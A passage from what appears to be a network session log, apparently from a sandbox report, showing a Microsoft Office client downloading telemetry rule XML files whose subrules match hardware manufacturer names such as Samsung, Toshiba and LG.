R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.8	49869	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:04:41 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:04:41 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:04:41 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: 89e88ad2-001e-0065-4491-3f0b73000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T070441Z-174f7845968cdxdrhC1EWRg0en0000000v0g000000008pfn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:04:41 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.8	49871	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:04:41 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:04:41 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:04:41 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: 6c824192-201e-0051-0a91-3f7340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T070441Z-174f7845968jrjrxhC1EWRmmrs0000000v60000000008p0u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-26 07:04:41 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.8	49875	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:04:43 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:04:43 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:04:43 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: d3507608-601e-003d-4b91-3f6f25000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T070443Z-174f784596886s2bhC1EWR743w0000000v70000000001cpg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:04:43 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.8	49876	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:04:43 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:04:43 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:04:43 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: dc0e5a4e-901e-005b-0191-3f2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T070443Z-174f7845968pf68xhC1EWRr4h80000000vc0000000004dta x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:04:43 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.8	49877	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:04:43 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:04:43 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:04:43 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: 5810d2d2-301e-0000-6891-3feecc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T070443Z-174f7845968pf68xhC1EWRr4h80000000vd0000000002et7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:04:43 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.8	49879	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:04:43 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:04:44 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:04:43 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: dc0e6055-901e-005b-2d91-3f2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T070443Z-174f7845968px8v7hC1EWR08ng0000000v7g00000000dfun x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:04:44 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.8	49878	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:04:43 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:04:44 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:04:43 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: fac497c4-501e-008f-4391-3f9054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T070443Z-174f7845968v75bwhC1EWRuqen0000000g500000000005d7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:04:44 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.8	49882	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:04:45 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:04:46 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:04:45 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: e52ede4a-001e-0017-0591-3f0c3c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T070445Z-174f7845968glpgnhC1EWR7uec0000000vag000000001by7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:04:46 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.8	49880	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:04:45 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:04:46 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:04:45 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: 1fa1b817-401e-0067-5691-3f09c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T070445Z-174f78459688l8rvhC1EWRtzr000000007rg00000000329z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:04:46 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.8	49881	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:04:45 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:04:46 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:04:45 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: be7987d0-001e-0034-1e91-3fdd04000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T070445Z-174f7845968qj8jrhC1EWRh41s0000000v00000000007h2v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:04:46 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.8	49884	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:04:45 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:04:46 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:04:46 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: 6760f0bc-801e-002a-1f91-3f31dc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T070446Z-174f7845968g6hv8hC1EWR1v2n000000030g000000005t21 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:04:46 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.8	49883	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:04:45 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:04:46 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:04:46 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: 8dfbf447-101e-0028-0f8e-3f8f64000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T070446Z-174f7845968ljs8phC1EWRe6en0000000v1000000000123g x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:04:46 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml 